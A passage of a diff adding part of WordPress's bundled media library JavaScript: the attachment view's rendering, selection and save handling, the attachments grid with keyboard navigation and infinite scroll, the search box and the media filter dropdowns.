+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+	/**
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	render: function() {
+		var options = _.defaults( this.model.toJSON(), {
+				orientation:   'landscape',
+				uploading:     false,
+				type:          '',
+				subtype:       '',
+				icon:          '',
+				filename:      '',
+				caption:       '',
+				title:         '',
+				dateFormatted: '',
+				width:         '',
+				height:        '',
+				compat:        false,
+				alt:           '',
+				description:   ''
+			}, this.options );
+
+		options.buttons  = this.buttons;
+		options.describe = this.controller.state().get('describe');
+
+		if ( 'image' === options.type ) {
+			options.size = this.imageSize();
+		}
+
+		options.can = {};
+		if ( options.nonces ) {
+			options.can.remove = !! options.nonces['delete'];
+			options.can.save = !! options.nonces.update;
+		}
+
+		if ( this.controller.state().get('allowLocalEdits') ) {
+			options.allowLocalEdits = true;
+		}
+
+		if ( options.uploading && ! options.percent ) {
+			options.percent = 0;
+		}
+
+		this.views.detach();
+		this.$el.html( this.template( options ) );
+
+		this.$el.toggleClass( 'uploading', options.uploading );
+
+		if ( options.uploading ) {
+			this.$bar = this.$('.media-progress-bar div');
+		} else {
+			delete this.$bar;
+		}
+
+		// Check if the model is selected.
+		this.updateSelect();
+
+		// Update the save status.
+		this.updateSave();
+
+		this.views.render();
+
+		return this;
+	},
+
+	progress: function() {
+		if ( this.$bar && this.$bar.length ) {
+			this.$bar.width( this.model.get('percent') + '%' );
+		}
+	},
+
+	/**
+	 * @param {Object} event
+	 */
+	toggleSelectionHandler: function( event ) {
+		var method;
+
+		// Don't do anything inside inputs and on the attachment check and remove buttons.
+		if ( 'INPUT' === event.target.nodeName || 'BUTTON' === event.target.nodeName ) {
+			return;
+		}
+
+		// Catch arrow events
+		if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
+			this.controller.trigger( 'attachment:keydown:arrow', event );
+			return;
+		}
+
+		// Catch enter and space events
+		if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+			return;
+		}
+
+		event.preventDefault();
+
+		// In the grid view, bubble up an edit:attachment event to the controller.
+		if ( this.controller.isModeActive( 'grid' ) ) {
+			if ( this.controller.isModeActive( 'edit' ) ) {
+				// Pass the current target to restore focus when closing
+				this.controller.trigger( 'edit:attachment', this.model, event.currentTarget );
+				return;
+			}
+
+			if ( this.controller.isModeActive( 'select' ) ) {
+				method = 'toggle';
+			}
+		}
+
+		if ( event.shiftKey ) {
+			method = 'between';
+		} else if ( event.ctrlKey || event.metaKey ) {
+			method = 'toggle';
+		}
+
+		this.toggleSelection({
+			method: method
+		});
+
+		this.controller.trigger( 'selection:toggle' );
+	},
+	/**
+	 * @param {Object} options
+	 */
+	toggleSelection: function( options ) {
+		var collection = this.collection,
+			selection = this.options.selection,
+			model = this.model,
+			method = options && options.method,
+			single, models, singleIndex, modelIndex;
+
+		if ( ! selection ) {
+			return;
+		}
+
+		single = selection.single();
+		method = _.isUndefined( method ) ? selection.multiple : method;
+
+		// If the `method` is set to `between`, select all models that
+		// exist between the current and the selected model.
+		if ( 'between' === method && single && selection.multiple ) {
+			// If the models are the same, short-circuit.
+			if ( single === model ) {
+				return;
+			}
+
+			singleIndex = collection.indexOf( single );
+			modelIndex  = collection.indexOf( this.model );
+
+			if ( singleIndex < modelIndex ) {
+				models = collection.models.slice( singleIndex, modelIndex + 1 );
+			} else {
+				models = collection.models.slice( modelIndex, singleIndex + 1 );
+			}
+
+			selection.add( models );
+			selection.single( model );
+			return;
+
+		// If the `method` is set to `toggle`, just flip the selection
+		// status, regardless of whether the model is the single model.
+		} else if ( 'toggle' === method ) {
+			selection[ this.selected() ? 'remove' : 'add' ]( model );
+			selection.single( model );
+			return;
+		} else if ( 'add' === method ) {
+			selection.add( model );
+			selection.single( model );
+			return;
+		}
+
+		// Fixes bug that loses focus when selecting a featured image
+		if ( ! method ) {
+			method = 'add';
+		}
+
+		if ( method !== 'add' ) {
+			method = 'reset';
+		}
+
+		if ( this.selected() ) {
+			// If the model is the single model, remove it.
+			// If it is not the same as the single model,
+			// it now becomes the single model.
+			selection[ single === model ? 'remove' : 'single' ]( model );
+		} else {
+			// If the model is not selected, run the `method` on the
+			// selection. By default, we `reset` the selection, but the
+			// `method` can be set to `add` the model to the selection.
+			selection[ method ]( model );
+			selection.single( model );
+		}
+	},
+
+	updateSelect: function() {
+		this[ this.selected() ? 'select' : 'deselect' ]();
+	},
+	/**
+	 * @returns {unresolved|Boolean}
+	 */
+	selected: function() {
+		var selection = this.options.selection;
+		if ( selection ) {
+			return !! selection.get( this.model.cid );
+		}
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	select: function( model, collection ) {
+		var selection = this.options.selection,
+			controller = this.controller;
+
+		// Check if a selection exists and if it's the collection provided.
+		// If they're not the same collection, bail; we're in another
+		// selection's event loop.
+		if ( ! selection || ( collection && collection !== selection ) ) {
+			return;
+		}
+
+		// Bail if the model is already selected.
+		if ( this.$el.hasClass( 'selected' ) ) {
+			return;
+		}
+
+		// Add 'selected' class to model, set aria-checked to true.
+		this.$el.addClass( 'selected' ).attr( 'aria-checked', true );
+		//  Make the checkbox tabable, except in media grid (bulk select mode).
+		if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) {
+			this.$( '.check' ).attr( 'tabindex', '0' );
+		}
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	deselect: function( model, collection ) {
+		var selection = this.options.selection;
+
+		// Check if a selection exists and if it's the collection provided.
+		// If they're not the same collection, bail; we're in another
+		// selection's event loop.
+		if ( ! selection || ( collection && collection !== selection ) ) {
+			return;
+		}
+		this.$el.removeClass( 'selected' ).attr( 'aria-checked', false )
+			.find( '.check' ).attr( 'tabindex', '-1' );
+	},
+	/**
+	 * @param {Backbone.Model} model
+	 * @param {Backbone.Collection} collection
+	 */
+	details: function( model, collection ) {
+		var selection = this.options.selection,
+			details;
+
+		if ( selection !== collection ) {
+			return;
+		}
+
+		details = selection.single();
+		this.$el.toggleClass( 'details', details === this.model );
+	},
+	/**
+	 * @param {string} size
+	 * @returns {Object}
+	 */
+	imageSize: function( size ) {
+		var sizes = this.model.get('sizes'), matched = false;
+
+		size = size || 'medium';
+
+		// Use the provided image size if possible.
+		if ( sizes ) {
+			if ( sizes[ size ] ) {
+				matched = sizes[ size ];
+			} else if ( sizes.large ) {
+				matched = sizes.large;
+			} else if ( sizes.thumbnail ) {
+				matched = sizes.thumbnail;
+			} else if ( sizes.full ) {
+				matched = sizes.full;
+			}
+
+			if ( matched ) {
+				return _.clone( matched );
+			}
+		}
+
+		return {
+			url:         this.model.get('url'),
+			width:       this.model.get('width'),
+			height:      this.model.get('height'),
+			orientation: this.model.get('orientation')
+		};
+	},
+	/**
+	 * @param {Object} event
+	 */
+	updateSetting: function( event ) {
+		var $setting = $( event.target ).closest('[data-setting]'),
+			setting, value;
+
+		if ( ! $setting.length ) {
+			return;
+		}
+
+		setting = $setting.data('setting');
+		value   = event.target.value;
+
+		if ( this.model.get( setting ) !== value ) {
+			this.save( setting, value );
+		}
+	},
+
+	/**
+	 * Pass all the arguments to the model's save method.
+	 *
+	 * Records the aggregate status of all save requests and updates the
+	 * view's classes accordingly.
+	 */
+	save: function() {
+		var view = this,
+			save = this._save = this._save || { status: 'ready' },
+			request = this.model.save.apply( this.model, arguments ),
+			requests = save.requests ? $.when( request, save.requests ) : request;
+
+		// If we're waiting to remove 'Saved.', stop.
+		if ( save.savedTimer ) {
+			clearTimeout( save.savedTimer );
+		}
+
+		this.updateSave('waiting');
+		save.requests = requests;
+		requests.always( function() {
+			// If we've performed another request since this one, bail.
+			if ( save.requests !== requests ) {
+				return;
+			}
+
+			view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' );
+			save.savedTimer = setTimeout( function() {
+				view.updateSave('ready');
+				delete save.savedTimer;
+			}, 2000 );
+		});
+	},
+	/**
+	 * @param {string} status
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	updateSave: function( status ) {
+		var save = this._save = this._save || { status: 'ready' };
+
+		if ( status && status !== save.status ) {
+			this.$el.removeClass( 'save-' + save.status );
+			save.status = status;
+		}
+
+		this.$el.addClass( 'save-' + save.status );
+		return this;
+	},
+
+	updateAll: function() {
+		var $settings = this.$('[data-setting]'),
+			model = this.model,
+			changed;
+
+		changed = _.chain( $settings ).map( function( el ) {
+			var $input = $('input, textarea, select, [value]', el ),
+				setting, value;
+
+			if ( ! $input.length ) {
+				return;
+			}
+
+			setting = $(el).data('setting');
+			value = $input.val();
+
+			// Record the value if it changed.
+			if ( model.get( setting ) !== value ) {
+				return [ setting, value ];
+			}
+		}).compact().object().value();
+
+		if ( ! _.isEmpty( changed ) ) {
+			model.save( changed );
+		}
+	},
+	/**
+	 * @param {Object} event
+	 */
+	removeFromLibrary: function( event ) {
+		// Catch enter and space events
+		if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
+			return;
+		}
+
+		// Stop propagation so the model isn't selected.
+		event.stopPropagation();
+
+		this.collection.remove( this.model );
+	},
+
+	/**
+	 * Add the model if it isn't in the selection, if it is in the selection,
+	 * remove it.
+	 *
+	 * @param  {[type]} event [description]
+	 * @return {[type]}       [description]
+	 */
+	checkClickHandler: function ( event ) {
+		var selection = this.options.selection;
+		if ( ! selection ) {
+			return;
+		}
+		event.stopPropagation();
+		if ( selection.where( { id: this.model.get( 'id' ) } ).length ) {
+			selection.remove( this.model );
+			// Move focus back to the attachment tile (from the check).
+			this.$el.focus();
+		} else {
+			selection.add( this.model );
+		}
+	}
+});
+
+// Ensure settings remain in sync between attachment views.
+_.each({
+	caption: '_syncCaption',
+	title:   '_syncTitle',
+	artist:  '_syncArtist',
+	album:   '_syncAlbum'
+}, function( method, setting ) {
+	/**
+	 * @function _syncCaption
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncTitle
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncArtist
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	/**
+	 * @function _syncAlbum
+	 * @memberOf wp.media.view.Attachment
+	 * @instance
+	 *
+	 * @param {Backbone.Model} model
+	 * @param {string} value
+	 * @returns {wp.media.view.Attachment} Returns itself to allow chaining
+	 */
+	Attachment.prototype[ method ] = function( model, value ) {
+		var $setting = this.$('[data-setting="' + setting + '"]');
+
+		if ( ! $setting.length ) {
+			return this;
+		}
+
+		// If the updated value is in sync with the value in the DOM, there
+		// is no need to re-render. If we're currently editing the value,
+		// it will automatically be in sync, suppressing the re-render for
+		// the view we're editing, while updating any others.
+		if ( value === $setting.find('input, textarea, select, [value]').val() ) {
+			return this;
+		}
+
+		return this.render();
+	};
+});
+
+module.exports = Attachment;
+
+
+/***/ }),
+/* 70 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Attachment.Library
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{
+	buttons: {
+		check: true
+	}
+});
+
+module.exports = Library;
+
+
+/***/ }),
+/* 71 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.Attachment.EditLibrary
+ *
+ * @memberOf wp.media.view.Attachment
+ *
+ * @class
+ * @augments wp.media.view.Attachment
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{
+	buttons: {
+		close: true
+	}
+});
+
+module.exports = EditLibrary;
+
+
+/***/ }),
+/* 72 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	$ = jQuery,
+	Attachments;
+
+/**
+ * wp.media.view.Attachments
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{
+	tagName:   'ul',
+	className: 'attachments',
+
+	attributes: {
+		tabIndex: -1
+	},
+
+	initialize: function() {
+		this.el.id = _.uniqueId('__attachments-view-');
+
+		_.defaults( this.options, {
+			refreshSensitivity: wp.media.isTouchDevice ? 300 : 200,
+			refreshThreshold:   3,
+			AttachmentView:     wp.media.view.Attachment,
+			sortable:           false,
+			resize:             true,
+			idealColumnWidth:   $( window ).width() < 640 ? 135 : 150
+		});
+
+		this._viewsByCid = {};
+		this.$window = $( window );
+		this.resizeEvent = 'resize.media-modal-columns';
+
+		this.collection.on( 'add', function( attachment ) {
+			this.views.add( this.createAttachmentView( attachment ), {
+				at: this.collection.indexOf( attachment )
+			});
+		}, this );
+
+		this.collection.on( 'remove', function( attachment ) {
+			var view = this._viewsByCid[ attachment.cid ];
+			delete this._viewsByCid[ attachment.cid ];
+
+			if ( view ) {
+				view.remove();
+			}
+		}, this );
+
+		this.collection.on( 'reset', this.render, this );
+
+		this.listenTo( this.controller, 'library:selection:add',    this.attachmentFocus );
+
+		// Throttle the scroll handler and bind this.
+		this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value();
+
+		this.options.scrollElement = this.options.scrollElement || this.el;
+		$( this.options.scrollElement ).on( 'scroll', this.scroll );
+
+		this.initSortable();
+
+		_.bindAll( this, 'setColumns' );
+
+		if ( this.options.resize ) {
+			this.on( 'ready', this.bindEvents );
+			this.controller.on( 'open', this.setColumns );
+
+			// Call this.setColumns() after this view has been rendered in the DOM so
+			// attachments get proper width applied.
+			_.defer( this.setColumns, this );
+		}
+	},
+
+	bindEvents: function() {
+		this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) );
+	},
+
+	attachmentFocus: function() {
+		this.$( 'li:first' ).focus();
+	},
+
+	restoreFocus: function() {
+		this.$( 'li.selected:first' ).focus();
+	},
+
+	arrowEvent: function( event ) {
+		var attachments = this.$el.children( 'li' ),
+			perRow = this.columns,
+			index = attachments.filter( ':focus' ).index(),
+			row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow );
+
+		if ( index === -1 ) {
+			return;
+		}
+
+		// Left arrow
+		if ( 37 === event.keyCode ) {
+			if ( 0 === index ) {
+				return;
+			}
+			attachments.eq( index - 1 ).focus();
+		}
+
+		// Up arrow
+		if ( 38 === event.keyCode ) {
+			if ( 1 === row ) {
+				return;
+			}
+			attachments.eq( index - perRow ).focus();
+		}
+
+		// Right arrow
+		if ( 39 === event.keyCode ) {
+			if ( attachments.length === index ) {
+				return;
+			}
+			attachments.eq( index + 1 ).focus();
+		}
+
+		// Down arrow
+		if ( 40 === event.keyCode ) {
+			if ( Math.ceil( attachments.length / perRow ) === row ) {
+				return;
+			}
+			attachments.eq( index + perRow ).focus();
+		}
+	},
+
+	dispose: function() {
+		this.collection.props.off( null, null, this );
+		if ( this.options.resize ) {
+			this.$window.off( this.resizeEvent );
+		}
+
+		/**
+		 * call 'dispose' directly on the parent class
+		 */
+		View.prototype.dispose.apply( this, arguments );
+	},
+
+	setColumns: function() {
+		var prev = this.columns,
+			width = this.$el.width();
+
+		if ( width ) {
+			this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1;
+
+			if ( ! prev || prev !== this.columns ) {
+				this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns );
+			}
+		}
+	},
+
+	initSortable: function() {
+		var collection = this.collection;
+
+		if ( ! this.options.sortable || ! $.fn.sortable ) {
+			return;
+		}
+
+		this.$el.sortable( _.extend({
+			// If the `collection` has a `comparator`, disable sorting.
+			disabled: !! collection.comparator,
+
+			// Change the position of the attachment as soon as the
+			// mouse pointer overlaps a thumbnail.
+			tolerance: 'pointer',
+
+			// Record the initial `index` of the dragged model.
+			start: function( event, ui ) {
+				ui.item.data('sortableIndexStart', ui.item.index());
+			},
+
+			// Update the model's index in the collection.
+			// Do so silently, as the view is already accurate.
+			update: function( event, ui ) {
+				var model = collection.at( ui.item.data('sortableIndexStart') ),
+					comparator = collection.comparator;
+
+				// Temporarily disable the comparator to prevent `add`
+				// from re-sorting.
+				delete collection.comparator;
+
+				// Silently shift the model to its new index.
+				collection.remove( model, {
+					silent: true
+				});
+				collection.add( model, {
+					silent: true,
+					at:     ui.item.index()
+				});
+
+				// Restore the comparator.
+				collection.comparator = comparator;
+
+				// Fire the `reset` event to ensure other collections sync.
+				collection.trigger( 'reset', collection );
+
+				// If the collection is sorted by menu order,
+				// update the menu order.
+				collection.saveMenuOrder();
+			}
+		}, this.options.sortable ) );
+
+		// If the `orderby` property is changed on the `collection`,
+		// check to see if we have a `comparator`. If so, disable sorting.
+		collection.props.on( 'change:orderby', function() {
+			this.$el.sortable( 'option', 'disabled', !! collection.comparator );
+		}, this );
+
+		this.collection.props.on( 'change:orderby', this.refreshSortable, this );
+		this.refreshSortable();
+	},
+
+	refreshSortable: function() {
+		if ( ! this.options.sortable || ! $.fn.sortable ) {
+			return;
+		}
+
+		// If the `collection` has a `comparator`, disable sorting.
+		var collection = this.collection,
+			orderby = collection.props.get('orderby'),
+			enabled = 'menuOrder' === orderby || ! collection.comparator;
+
+		this.$el.sortable( 'option', 'disabled', ! enabled );
+	},
+
+	/**
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {wp.media.View}
+	 */
+	createAttachmentView: function( attachment ) {
+		var view = new this.options.AttachmentView({
+			controller:           this.controller,
+			model:                attachment,
+			collection:           this.collection,
+			selection:            this.options.selection
+		});
+
+		return this._viewsByCid[ attachment.cid ] = view;
+	},
+
+	prepare: function() {
+		// Create all of the Attachment views, and replace
+		// the list in a single DOM operation.
+		if ( this.collection.length ) {
+			this.views.set( this.collection.map( this.createAttachmentView, this ) );
+
+		// If there are no elements, clear the views and load some.
+		} else {
+			this.views.unset();
+			this.collection.more().done( this.scroll );
+		}
+	},
+
+	ready: function() {
+		// Trigger the scroll event to check if we're within the
+		// threshold to query for additional attachments.
+		this.scroll();
+	},
+
+	scroll: function() {
+		var view = this,
+			el = this.options.scrollElement,
+			scrollTop = el.scrollTop,
+			toolbar;
+
+		// The scroll event occurs on the document, but the element
+		// that should be checked is the document body.
+		if ( el === document ) {
+			el = document.body;
+			scrollTop = $(document).scrollTop();
+		}
+
+		if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) {
+			return;
+		}
+
+		toolbar = this.views.parent.toolbar;
+
+		// Show the spinner only if we are close to the bottom.
+		if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) {
+			toolbar.get('spinner').show();
+		}
+
+		if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) {
+			this.collection.more().done(function() {
+				view.scroll();
+				toolbar.get('spinner').hide();
+			});
+		}
+	}
+});
+
+module.exports = Attachments;
+
+
+/***/ }),
+/* 73 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	Search;
+
+/**
+ * wp.media.view.Search
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{
+	tagName:   'input',
+	className: 'search',
+	id:        'media-search-input',
+
+	attributes: {
+		type:        'search',
+		placeholder: l10n.searchMediaPlaceholder
+	},
+
+	events: {
+		'input':  'search',
+		'keyup':  'search'
+	},
+
+	/**
+	 * @returns {wp.media.view.Search} Returns itself to allow chaining
+	 */
+	render: function() {
+		this.el.value = this.model.escape('search');
+		return this;
+	},
+
+	search: _.debounce( function( event ) {
+		if ( event.target.value ) {
+			this.model.set( 'search', event.target.value );
+		} else {
+			this.model.unset('search');
+		}
+	}, 300 )
+});
+
+module.exports = Search;
+
+
+/***/ }),
+/* 74 */
+/***/ (function(module, exports) {
+
+var $ = jQuery,
+	AttachmentFilters;
+
+/**
+ * wp.media.view.AttachmentFilters
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{
+	tagName:   'select',
+	className: 'attachment-filters',
+	id:        'media-attachment-filters',
+
+	events: {
+		change: 'change'
+	},
+
+	keys: [],
+
+	initialize: function() {
+		this.createFilters();
+		_.extend( this.filters, this.options.filters );
+
+		// Build `<option>` elements.
+		this.$el.html( _.chain( this.filters ).map( function( filter, value ) {
+			return {
+				el: $( '<option></option>' ).val( value ).html( filter.text )[0],
+				priority: filter.priority || 50
+			};
+		}, this ).sortBy('priority').pluck('el').value() );
+
+		this.listenTo( this.model, 'change', this.select );
+		this.select();
+	},
+
+	/**
+	 * @abstract
+	 */
+	createFilters: function() {
+		this.filters = {};
+	},
+
+	/**
+	 * When the selected filter changes, update the Attachment Query properties to match.
+	 */
+	change: function() {
+		var filter = this.filters[ this.el.value ];
+		if ( filter ) {
+			this.model.set( filter.props );
+		}
+	},
+
+	select: function() {
+		var model = this.model,
+			value = 'all',
+			props = model.toJSON();
+
+		_.find( this.filters, function( filter, id ) {
+			var equal = _.all( filter.props, function( prop, key ) {
+				return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] );
+			});
+
+			if ( equal ) {
+				return value = id;
+			}
+		});
+
+		this.$el.val( value );
+	}
+});
+
+module.exports = AttachmentFilters;
+
+
+/***/ }),
+/* 75 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	DateFilter;
+
+/**
+ * A filter dropdown for month/dates.
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{
+	id: 'media-attachment-date-filters',
+
+	createFilters: function() {
+		var filters = {};
+		_.each( wp.media.view.settings.months || {}, function( value, index ) {
+			filters[ index ] = {
+				text: value.text,
+				props: {
+					year: value.year,
+					monthnum: value.month
+				}
+			};
+		});
+		filters.all = {
+			text:  l10n.allDates,
+			props: {
+				monthnum: false,
+				year:  false
+			},
+			priority: 10
+		};
+		this.filters = filters;
+	}
+});
+
+module.exports = DateFilter;
+
+
+/***/ }),
+/* 76 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	Uploaded;
+
+/**
+ * wp.media.view.AttachmentFilters.Uploaded
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{
+	createFilters: function() {
+		var type = this.model.get('type'),
+			types = wp.media.view.settings.mimeTypes,
+			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0,
+			text;
+
+		if ( types && type ) {
+			text = types[ type ];
+		}
+
+		this.filters = {
+			all: {
+				text:  text || l10n.allMediaItems,
+				props: {
+					uploadedTo: null,
+					orderby: 'date',
+					order:   'DESC',
+					author:	 null
+				},
+				priority: 10
+			},
+
+			uploaded: {
+				text:  l10n.uploadedToThisPost,
+				props: {
+					uploadedTo: wp.media.view.settings.post.id,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:	 null
+				},
+				priority: 20
+			},
+
+			unattached: {
+				text:  l10n.unattached,
+				props: {
+					uploadedTo: 0,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:	 null
+				},
+				priority: 50
+			}
+		};
+
+		if ( uid ) {
+			this.filters.mine = {
+				text:  l10n.mine,
+				props: {
+					orderby: 'date',
+					order:   'DESC',
+					author:  uid
+				},
+				priority: 50
+			};
+		}
+	}
+});
+
+module.exports = Uploaded;
+
+
+/***/ }),
+/* 77 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	All;
+
+/**
+ * wp.media.view.AttachmentFilters.All
+ *
+ * @memberOf wp.media.view.AttachmentFilters
+ *
+ * @class
+ * @augments wp.media.view.AttachmentFilters
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{
+	createFilters: function() {
+		var filters = {},
+			uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0;
+
+		_.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) {
+			filters[ key ] = {
+				text: text,
+				props: {
+					status:  null,
+					type:    key,
+					uploadedTo: null,
+					orderby: 'date',
+					order:   'DESC',
+					author:  null
+				}
+			};
+		});
+
+		filters.all = {
+			text:  l10n.allMediaItems,
+			props: {
+				status:  null,
+				type:    null,
+				uploadedTo: null,
+				orderby: 'date',
+				order:   'DESC',
+				author:  null
+			},
+			priority: 10
+		};
+
+		if ( wp.media.view.settings.post.id ) {
+			filters.uploaded = {
+				text:  l10n.uploadedToThisPost,
+				props: {
+					status:  null,
+					type:    null,
+					uploadedTo: wp.media.view.settings.post.id,
+					orderby: 'menuOrder',
+					order:   'ASC',
+					author:  null
+				},
+				priority: 20
+			};
+		}
+
+		filters.unattached = {
+			text:  l10n.unattached,
+			props: {
+				status:     null,
+				uploadedTo: 0,
+				type:       null,
+				orderby:    'menuOrder',
+				order:      'ASC',
+				author:     null
+			},
+			priority: 50
+		};
+
+		if ( uid ) {
+			filters.mine = {
+				text:  l10n.mine,
+				props: {
+					status:		null,
+					type:		null,
+					uploadedTo:	null,
+					orderby:	'date',
+					order:		'DESC',
+					author:		uid
+				},
+				priority: 50
+			};
+		}
+
+		if ( wp.media.view.settings.mediaTrash &&
+			this.controller.isModeActive( 'grid' ) ) {
+
+			filters.trash = {
+				text:  l10n.trash,
+				props: {
+					uploadedTo: null,
+					status:     'trash',
+					type:       null,
+					orderby:    'date',
+					order:      'DESC',
+					author:     null
+				},
+				priority: 50
+			};
+		}
+
+		this.filters = filters;
+	}
+});
+
+module.exports = All;
+
+
+/***/ }),
+/* 78 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	mediaTrash = wp.media.view.settings.mediaTrash,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	AttachmentsBrowser;
+
+/**
+ * wp.media.view.AttachmentsBrowser
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ *
+ * @param {object}         [options]               The options hash passed to the view.
+ * @param {boolean|string} [options.filters=false] Which filters to show in the browser's toolbar.
+ *                                                 Accepts 'uploaded' and 'all'.
+ * @param {boolean}        [options.search=true]   Whether to show the search interface in the
+ *                                                 browser's toolbar.
+ * @param {boolean}        [options.date=true]     Whether to show the date filter in the
+ *                                                 browser's toolbar.
+ * @param {boolean}        [options.display=false] Whether to show the attachments display settings
+ *                                                 view in the sidebar.
+ * @param {boolean|string} [options.sidebar=true]  Whether to create a sidebar for the browser.
+ *                                                 Accepts true, false, and 'errors'.
+ */
+AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{
+	tagName:   'div',
+	className: 'attachments-browser',
+
+	initialize: function() {
+		_.defaults( this.options, {
+			filters: false,
+			search:  true,
+			date:    true,
+			display: false,
+			sidebar: true,
+			AttachmentView: wp.media.view.Attachment.Library
+		});
+
+		this.controller.on( 'toggle:upload:attachment', this.toggleUploader, this );
+		this.controller.on( 'edit:selection', this.editSelection );
+
+		// In the Media Library, the sidebar is used to display errors before the attachments grid.
+		if ( this.options.sidebar && 'errors' === this.options.sidebar ) {
+			this.createSidebar();
+		}
+
+		/*
+		 * For accessibility reasons, place the Inline Uploader before other sections.
+		 * This way, in the Media Library, it's right after the Add New button, see ticket #37188.
+		 */
+		this.createUploader();
+
+		/*
+		 * Create a multi-purpose toolbar. Used as main toolbar in the Media Library
+		 * and also for other things, for example the "Drag and drop to reorder" and
+		 * "Suggested dimensions" info in the media modal.
+		 */
+		this.createToolbar();
+
+		// Create the list of attachments.
+		this.createAttachments();
+
+		// For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909.
+		if ( this.options.sidebar && 'errors' !== this.options.sidebar ) {
+			this.createSidebar();
+		}
+
+		this.updateContent();
+
+		if ( ! this.options.sidebar || 'errors' === this.options.sidebar ) {
+			this.$el.addClass( 'hide-sidebar' );
+
+			if ( 'errors' === this.options.sidebar ) {
+				this.$el.addClass( 'sidebar-for-errors' );
+			}
+		}
+
+		this.collection.on( 'add remove reset', this.updateContent, this );
+	},
+
+	editSelection: function( modal ) {
+		modal.$( '.media-button-backToLibrary' ).focus();
+	},
+
+	/**
+	 * @returns {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining
+	 */
+	dispose: function() {
+		this.options.selection.off( null, null, this );
+		View.prototype.dispose.apply( this, arguments );
+		return this;
+	},
+
